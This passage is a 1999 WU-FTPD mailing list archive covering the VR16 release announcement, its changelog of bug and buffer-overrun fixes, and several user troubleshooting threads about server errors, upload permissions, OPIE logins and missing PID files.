by landfield.com (8.9.0/8.9.0) with ESMTP id BAA17562;
Thu, 4 Mar 1999 01:17:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id BAA15992;
Thu, 4 Mar 1999 01:13:08 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id BAA32099
for <[email protected]>; Thu, 4 Mar 1999 01:11:00 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id CAA20034;
Thu, 4 Mar 1999 02:10:35 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 02:10:34 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Alex Yu <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: Re: [VR16] WU-FTPD-2.4.2-VR16 Released
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Alex Yu wrote:

> > ftp://ftp.vr.net/pub/wu-ftpd/
>
> Trying to connect, but doesn't work. Is there any changes on ftpaccess?

Took the server offline while fixing the mess to prevent any more than the
three files already downloaded from going out.

Anyone wanna buy some fingers, cheap? Slightly used, sometimes press
random keyz.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 02:07:25 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id CAA18163;
Thu, 4 Mar 1999 02:07:24 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id CAA26511;
Thu, 4 Mar 1999 02:04:08 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id CAA30950
for <[email protected]>; Thu, 4 Mar 1999 02:00:02 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id IAA20018;
Thu, 4 Mar 1999 08:59:13 +0100 (MET)
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 08:59:13 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
In-Reply-To: <[email protected]> from "Gregory A Lundberg" at Mar 3, 99 09:46:30 am
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> From: Gregory A Lundberg <[email protected]>
> Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
>
> On Wed, 3 Mar 1999, Michael Schmidt wrote:
>
> > we are running an HPUX-10.20 machine.
> >
> > In the past we have been running beta15, today I upgraded to
> > beta18vr14 and installed it and did let the rest of structure of ~ftp
> > and the ftpd stuff directory the same as before,
> >
> > But now ftp clients doing a ls and dir get the error message
> > "421 Service not available, remote server has closed connection"
>
> Try VR15. It should have this fixed. It's an endian/sizeof problem and
> not related to ls/dir.

Done that, but the same error still occured!

What's wrong?
Any solution?

Desperated
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Thu Mar 4 03:25:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA18876;
Thu, 4 Mar 1999 03:25:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA06162;
Thu, 4 Mar 1999 03:22:00 -0600 (CST)
Received: from mail.glink.net.hk (mail.glink.net.hk [202.72.0.38])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA29297
for <[email protected]>; Thu, 4 Mar 1999 03:17:23 -0600 (CST)
Received: from earth.glink.net.hk (earth [202.72.0.46])
by mail.glink.net.hk (8.9.1/8.9.1) with ESMTP id RAA29740
for <[email protected]>; Thu, 4 Mar 1999 17:17:20 +0800 (HKT)
Received: (from priron@localhost)
by earth.glink.net.hk (8.9.2/8.9.2) id RAA13874
for [email protected]; Thu, 4 Mar 1999 17:17:18 +0800 (HKT)
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 17:17:18 +0800 (HKT)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: [VR16] WU-FTPD-2.4.2-VR16 Released (fwd)
Content-Type: text
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Does it is enough that using wu-ftpd-2.4.2-vr16.tar.Z to patch wu-ftpd 2.4.2 (final release) to get the same effect from using all previous vr-patch to patch wu-ftpd Beta 18 ?

KK

Forwarded message:
> From [email protected] Thu Mar 4 14:10:08 1999
> Message-Id: <[email protected]>
> Date: Mon, 4 Mar 1999 01:00:00 -0500 (EST)
> Reply-To: [email protected]
> Sender: [email protected]
> From: Gregory A Lundberg <[email protected]>
> To: WU-FTPD Discussion List <[email protected]>
> Subject: [VR16] WU-FTPD-2.4.2-VR16 Released
> X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN
> Content-Length: 6839
>
> WU-FTPD-2.4.2-VR16 is now available.
>
> The VR updates for WU-FTPD include additional features requested over the
> years by the user community and include a number of bug fixes for both the
> base 2.4.2 release.
>
> This update merges the changes from WU-FTPD 2.4.2 (Beta 18) to WU-FTPD
> 2.4.2 (Release) into the VR series.
>
> These are available as both patches and pre-patched tarballs at:
>
> ftp://ftp.vr.net/pub/wu-ftpd/
>
> A current mirrors listing is available at:
>
> fpt://ftp.vr.net/pub/wu-ftpd/MIRRORS
>
> MD5 Package
> --- -------
> dfbe72dacd206024137841f5e10b6d1a wu-ftpd-2.4.2-vr16.tar.Z
> c2ceee93041032939ae06371c8ae913e wu-ftpd-2.4.2-vr16.tar.gz
>
> 435b768e7295b9727fc144db9b870ac1 wu-ftpd-2.4.2-vr16.patch
>
> If you take just the patch files, please remember: they are cumulative.
> you cannot apply fixes from one set without earlier sets already having
> been applied. The first set for BETA-18 is VR3; VR1 and VR2 were for
> BETA-17 only. The first set for WU-FTPD-2.4.2 is VR16; VR3 through VR15
> were for BETA-18 only. A patch set covering the changes from BETA-18-VR15
> to VR16 is available in the attic directory.
>
> Pre-compiled binaries for VR15 are available. Check the binaries directory
> to see if a pre-compiled version is available for your platform. Since no
> significant changes were made for VR16, there will be no binaries for it.
>
>
>
> This is a list of fixes to BETA 18 with VR15 applied from [email protected]
> ---------------------------------------------------------------------------
>
> WU-FTPD 2.4.2 FINAL RELEASE, FEBRUARY 26, 1999
>
> If you missed it, it's because Stan Barber never announced it publicly.
>
> These changes represent the differences from WU-FTPD-2.4.2-BETA-18 to the
> released version, WU-FTPD-2.4.2.
>
> This is the first release of WU-FTPD 2.4.2 with VR upgrades. Two patch
> files are available for this VR update.
>
> - wu-ftpd-2.4.2-vr16.patch
> Contains all differences between 2.4.2 and 2.4.2-VR16.
>
> - wu-ftpd-2.4.2-beta-18-vr16.patch
> Contains the differences from 2.4.2-beta-18-vr15 to 2.4.2-vr16; this is
> available in the attic at ftp.vr.net to document the actual changes for
> this release.
>
> ---------------------------------------------------------------------------
> TODO list renumbered to match Stan's 2.4.2 TODO list.
>
> Documentation of unexpected behavior: upload no allowed directory creation.
> doc/examples/ftpaccess.heavy update as an example of this behavior.
> I believe this is NOT true for the VR versions, but have not tested as yet.
>
> Documentation clarification for ftphosts, ftp or anonymous listed in the
> file will disable anonymous ftp access.
>
> Possible pointer overrun in acl.c parsing ftpaccess corrected.
>
> Literal constant in ftpcmd.y changed to static to reduce program size.
>
> ftpcount/ftpwho interpretation of start/stop times made to match the way
> the daemon actually does it.
>
> setproctitle() in ftpd.c updated to avoid a buffer overrun and handle low
> memory conditions; SCO corrections.
>
> Possible buffer overrun parsing 'virtual root' and 'virtual logfile'
> corrected.
>
> A timeout timer was being reset at the wrong point during STOR.
>
> Corrections for Sun/Solaris paths in pathnames.h
>
> Makefile for DEC/Unix (dec and du4) changed from cc -std1 to cc -std.
>
> Correction in syslog support for DEC/Unix in support/syslog.c.
>
> util/xferstats corrected to parse your local domain name rather than just
> assuming you're academ.com.
>
> Other changes are white-noise or simply for style and do not effect the
> operation of the daemon in any way.
>
>
>
> VR-specific changes
> ---------------------------------------------------------------------------
> Reviewing the changes, I noted the makefile for hiu had a typo and would
> not install two manpages. No other changes from VR15 were made.
>
>
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195
>
> --
>
> The following message is included in the WU-FTPD-2.4.2 package but
> was never publicly posted to the WU-FTPD mailing lists.
>
> ---------- Forwarded message ----------
> From: [email protected] (Stan Barber)
> Subject: Academ version of wu-ftpd 2.4 Release 2 is available
> To: [email protected],[email protected]
>
> Release 2 is now available. It has been tested on the following systems:
>
> BSD/OS 3.1
> BSDI BSD/386 1.1
> FreeBSD 2.2.7-RELEASE
> Slackware Linux 96 (3.1)
> Slackware Linux 3.3
> Redhat Linux 5.1
> Redhat Linux 5.2
> SCO Open Server 5
> Solaris 2.4 x86 (gcc 2.7.2.1)
> Solaris 2.5.1 x86 (gcc 2.7.2.3)
> Solaris 2.5.1 sparc (SunC 3.0.1)
> Solaris 2.6 sparc (SunC 3.0.1)
> Solaris 2.6 sparc (gcc 2.7.2.3)
> Solaris 2.6 x86 (gcc 2.7.2.3)
> SunOS 4.1.4 sparc (bundled cc)
> UnixWare 2.1.1
>
> If hardware companies wish to donate equipment running their proprietary
> UNIX derivatives to me for doing maintenance work on this and the other
> packages I maintain (NNTP, RN, etc), please contact me directly to discuss.
>
> If software companies that sell UNIX derivatives I don't to which I don't
> have access wish to donain copies of their UNIX derivative to me for the
> purposes of doing maintenace work on this and the other packages I maintain,
> please contact me directly to discuss.
>
> This version is the final release.
>
> The location is:
> ftp://ftp.academ.com/pub/wu-ftpd/wu-ftpd-2.4.2.tar.Z
>
>
> You can also check http://www.academ.com/academ/wu-ftpd for more information.
>
> -------------------------------------------------------------------------------
> The major fix in this release is to address the problems referred to in CERT
> Advisory CA-99-03-FTP-Buffer-Overflows. This involved fixes to the real_path
> subroutine as well as changes in the size of the buffers used when calling
> this routine.
> ------------------------------------------------------------------------------
> Some changes were made to address some problem compiling on Digital Unix
> that were provided by Reiner Dassing. As I have no access to this operating
> system, I can't be sure they do anything useful, but they are there none
> the less.
> ------------------------------------------------------------------------------
> Jeff Laing provide a fix to help address a precedence problem involving the
> PORT command.
> ------------------------------------------------------------------------------
> Ian Willis offered a number of fixes. Those are included in this version:
> o fixed a memory allocation/free problem in acl.o
> o fixed some remaining problems in the proctitle subroutines
> o fixed some documentation problems in the manual pages
> o fixed an off-by-one problem in ftpcount.c
> o fixed a bug in getaclentry so that previously defined values are
> not reused
> o fixed a problem in the receive_data subroutine
> ------------------------------------------------------------------------------
>
>
>
>
>
>
>

From [email protected] Thu Mar 4 03:31:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA18938;
Thu, 4 Mar 1999 03:31:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA05265;
Thu, 4 Mar 1999 03:28:15 -0600 (CST)
Received: from mail.dtv.dk (dtv28.dtv.dk [130.225.95.28])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA07642
for <[email protected]>; Thu, 4 Mar 1999 03:22:17 -0600 (CST)
Received: from dtv.dk (dtv44.dtv.dk [130.225.95.44]) by mail.dtv.dk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9)
id 1S0JC6BY; Thu, 4 Mar 1999 10:14:21 +0100
Message-Id: <[email protected]>
Date: Thu, 04 Mar 1999 10:18:19 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Magnus Therkildsen <[email protected]>
To: [email protected]
Subject: Upload in unreadable dir
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: mst
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.1 i686)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi All,

I was suggested to let my ~ftp/incoming dir be unreadable by ftp, in
order to avoid abuse of pirates. That sounds like a good idea. However,
now my ftp users cannot upload anymore, they get a permission denied.

I have tried to set the read bit again, and then it all works fine. The
point is now, that if the dir is unreadable, you cannot upload -
although I also put an upload statement in the ftpaccess file for the
incoming dir.

Does anyone have a hint or solution for this?

Thanks in advance,

Magnus

[email protected]

From [email protected] Thu Mar 4 04:31:34 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA19768;
Thu, 4 Mar 1999 04:31:33 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA29701;
Thu, 4 Mar 1999 04:28:12 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id EAA15244
for <[email protected]>; Thu, 4 Mar 1999 04:22:13 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id LAA21487;
Thu, 4 Mar 1999 11:21:50 +0100 (MET)
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 11:21:50 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected], [email protected],
[email protected] (Michael Schmidt)
Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
In-Reply-To: <[email protected]> from "Michael Schmidt" at Mar 4, 99 08:59:13 am
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> From: Michael Schmidt <[email protected]>
> Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
>
> > From: Gregory A Lundberg <[email protected]>
> > Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
> >
> > On Wed, 3 Mar 1999, Michael Schmidt wrote:
> >
> > > we are running an HPUX-10.20 machine.
> > >
> > > In the past we have been running beta15, today I upgraded to
> > > beta18vr14 and installed it and did let the rest of structure of ~ftp
> > > and the ftpd stuff directory the same as before,
> > >
> > > But now ftp clients doing a ls and dir get the error message
> > > "421 Service not available, remote server has closed connection"
> >
> > Try VR15. It should have this fixed. It's an endian/sizeof problem and
> > not related to ls/dir.
>
> Done that, but the same error still occured!
>
> What's wrong?
> Any solution?
>
> Desperated

Just for completeness,
tried VR16 too, and the same error is still there!
Any solution available?

What about any other HPUX wu-ftpd users out there,
which effect do you see, how do you run wu-ftpd VR14 or VR15 or VR16?

More desperated
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Thu Mar 4 05:03:30 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id FAA20244;
Thu, 4 Mar 1999 05:03:29 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id FAA28008;
Thu, 4 Mar 1999 05:00:18 -0600 (CST)
Received: from bach.eurecom.fr ([email protected] [193.55.114.238])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id EAA29361
for <[email protected]>; Thu, 4 Mar 1999 04:53:33 -0600 (CST)
Received: by bach.eurecom.fr (Postfix, from userid 4013)
id D3E755707A; Thu, 4 Mar 1999 11:53:31 +0100 (CET)
Message-Id: <[email protected]>
Date: Thu, 04 Mar 1999 11:53:31 +0100 (CET)
Reply-To: [email protected]
Sender: [email protected]
From: Alain ENOUT <[email protected]>
To: wuftpd <[email protected]>
Cc: [email protected]
Subject: RE: Opie Looks Broken in VR15
In-Reply-To: <[email protected]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
X-Sender: [email protected]
X-Mailer: XFMail 1.3 [p0] on Linux
X-Priority: 3 (Normal)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 02-Mar-99 wuftpd wrote:
> Hi there...
>
> Anyone using OPIE on VR15?

Yes it works for me on linux 2.0.34, debian 2.0

> I up to the point where I enter the response and then I get
> bumped out. Anonymous works fine but any user using OPIE doesn't.
> It does seem to be getting past the OPIE tho , because the
> next time the seed is one less which one would expect
> on a successful login.
>
> Error messages spit out like lost connection, and I get

> Mar 1 22:47:06 tyrex ftpd[32723]: exiting on signal 11
> Mar 1 22:48:02 tyrex ftpd[32762]: exiting on signal 11
> Mar 1 22:49:20 tyrex ftpd[40]: exiting on signal 11
> Mar 1 22:51:20 tyrex ftpd[116]: exiting on signal 11
> Mar 1 23:11:13 tyrex ftpd[1515]: exiting on signal 11
> Mar 1 23:20:12 tyrex ftpd[2023]: exiting on signal 11
> Mar 1 23:26:07 tyrex ftpd[2217]: exiting on signal 11
> Mar 1 23:27:23 tyrex ftpd[2463]: exiting on signal 11

This is a segmentation fault, just try to get a core dump and then debug it
post mortem. You'll see where it crashes.

> in the messages...(I gave up...Even tried it in daemon mode...Same
> result.!)
>
> I undefined OPIE in the config.h and rebuilt and it works like a champ.
> I can login in just fine but I have to use the normal password and
> not use OPIE...
>
> I went back to a working copy of VR13 that does work with OPIE.
>
> Any thoughts???

Did you try the precompiled version for linux ?

> SystemInfo:
> RedHat 5.2
> Linux 2.0.36
> Opie 2.32
>
> Later
> David
>
>

---
Alain ENOUT Research Engineer, Mobile Communications Dpt
[email protected] Phone: +33 (0)4 93 00 26 65
EURECOM, 2229 rte des cretes, BP 193, F-06904 Sophia Antipolis Cedex, France

From [email protected] Thu Mar 4 05:05:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id FAA20269;
Thu, 4 Mar 1999 05:05:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id FAA31800;
Thu, 4 Mar 1999 05:02:15 -0600 (CST)
Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id EAA04418
for <[email protected]>; Thu, 4 Mar 1999 04:58:14 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp3.xs4all.nl (8.8.8/8.8.8) with ESMTP id LAA27291;
Thu, 4 Mar 1999 11:58:12 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id KAA27399;
Thu, 4 Mar 1999 10:58:01 GMT
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 10:58:01 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]> from Gregory A Lundberg at "Mar 3, 1999 08:57:38 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> beta-18-VR13 or later?

the latest I found. I'll try vr16 for a start to see if that fixes anything.

> doesn't really matter. run ckconfig and see if the files are where the
> programs expect them. check permissions and ownerships of the ftpaccess
> and PID files.

ckconfig tells me all is fine. strace told me that the ftp.pids* files
weren't found so I changed that but still no dice.

anyways, let's see what vr16 does and I'll recheck.
--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.2 on an i586/64 MB | on Usenet. _\_v

From [email protected] Thu Mar 4 06:08:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA21418;
Thu, 4 Mar 1999 06:08:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA15338;
Thu, 4 Mar 1999 06:05:14 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id FAA12917
for <[email protected]>; Thu, 4 Mar 1999 05:57:55 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id MAA10191;
Thu, 4 Mar 1999 12:57:52 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id LAA28776;
Thu, 4 Mar 1999 11:57:37 GMT
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 11:57:22 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]> from "Roeland Th. Jansen" at "Mar 4, 1999 10:58:01 am"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

a follow-up :

> > doesn't really matter. run ckconfig and see if the files are where the
> > programs expect them. check permissions and ownerships of the ftpaccess
> > and PID files.

ftpaccess hasn't been changed since 1996 here. note that I had a few
ftp-pid* files that didn't look too recent. I killed them but there are no
new ones created when I start wu-ftpd via inetd (and an incoming ftp of
course)

> anyways, let's see what vr16 does and I'll recheck.

and vr16 also doesn't help me.

it looks strange to me why the PID files aren't generated.

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.2 on an i586/64 MB | on Usenet. _\_v

From [email protected] Thu Mar 4 06:20:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA21608;
Thu, 4 Mar 1999 06:20:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA04530;
Thu, 4 Mar 1999 06:17:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA06071
for <[email protected]>; Thu, 4 Mar 1999 06:14:28 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA21275;
Thu, 4 Mar 1999 07:13:51 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 07:13:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: [VR16] WU-FTPD-2.4.2-VR16 Released (fwd)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999 [email protected] wrote:

> Does it is enough that using wu-ftpd-2.4.2-vr16.tar.Z to patch wu-ftpd
> 2.4.2 (final release) to get the same effect from using all previous
> vr-patch to patch wu-ftpd Beta 18 ?

To patch from VR15 to VR16, there's a patch set at
ftp://ftp.vr.net/pub/wu-ftpd/attic/wu-ftpd-2.4.2-beta-18-vr16.patch

Except for a change to the setproctitle() code, there's no significant
difference. A couple of one-line bug fixes. The only reason I
recompiled is, well heck, I'm its maintainer; I told the people who build
binaries for me not to bother unless they _really_ want to.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 06:34:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA21865;
Thu, 4 Mar 1999 06:34:02 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA01246;
Thu, 4 Mar 1999 06:30:44 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA19018
for <[email protected]>; Thu, 4 Mar 1999 06:23:13 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA21383;
Thu, 4 Mar 1999 07:22:50 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 07:22:50 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Roeland Th. Jansen wrote:

> and vr16 also doesn't help me.

I'd be amazed if it had. The few fixes Stan put in are mainly from
code-reads or porting to specific platforms.

> it looks strange to me why the PID files aren't generated.

- Verify you're running the version you think you are.
- Run strings on the daemon to verify it's using the directory it should
be: strings ftpd | grep '\.pid'
- Check the daemon has permission to write to them. The directory
should be local (not NFS).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 06:40:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA21985;
Thu, 4 Mar 1999 06:40:16 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA23533;
Thu, 4 Mar 1999 06:37:06 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA08422
for <[email protected]>; Thu, 4 Mar 1999 06:32:19 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA21425;
Thu, 4 Mar 1999 07:32:14 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 07:32:14 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Magnus Therkildsen <[email protected]>
Cc: [email protected]
Subject: Re: Upload in unreadable dir
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Magnus Therkildsen wrote:

> I was suggested to let my ~ftp/incoming dir be unreadable by ftp, in
> order to avoid abuse of pirates. That sounds like a good idea.
> However, now my ftp users cannot upload anymore, they get a permission
> denied.
>
> I have tried to set the read bit again, and then it all works fine.
> The point is now, that if the dir is unreadable, you cannot upload -
> although I also put an upload statement in the ftpaccess file for the
> incoming dir.
>
> Does anyone have a hint or solution for this?

This is almost certainly a Unix permissions problem. You sound like
you've been through the FAQ already. There's an example site at
ftp://ftp.vr.net/pub/wu-ftpd/examples
which may help. It shows incoming directories. The document
ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO
give my recommended permissions.

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 06:42:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA22020;
Thu, 4 Mar 1999 06:42:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA16528;
Thu, 4 Mar 1999 06:39:08 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA29744
for <[email protected]>; Thu, 4 Mar 1999 06:32:55 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA21411;
Thu, 4 Mar 1999 07:29:07 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 07:29:07 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
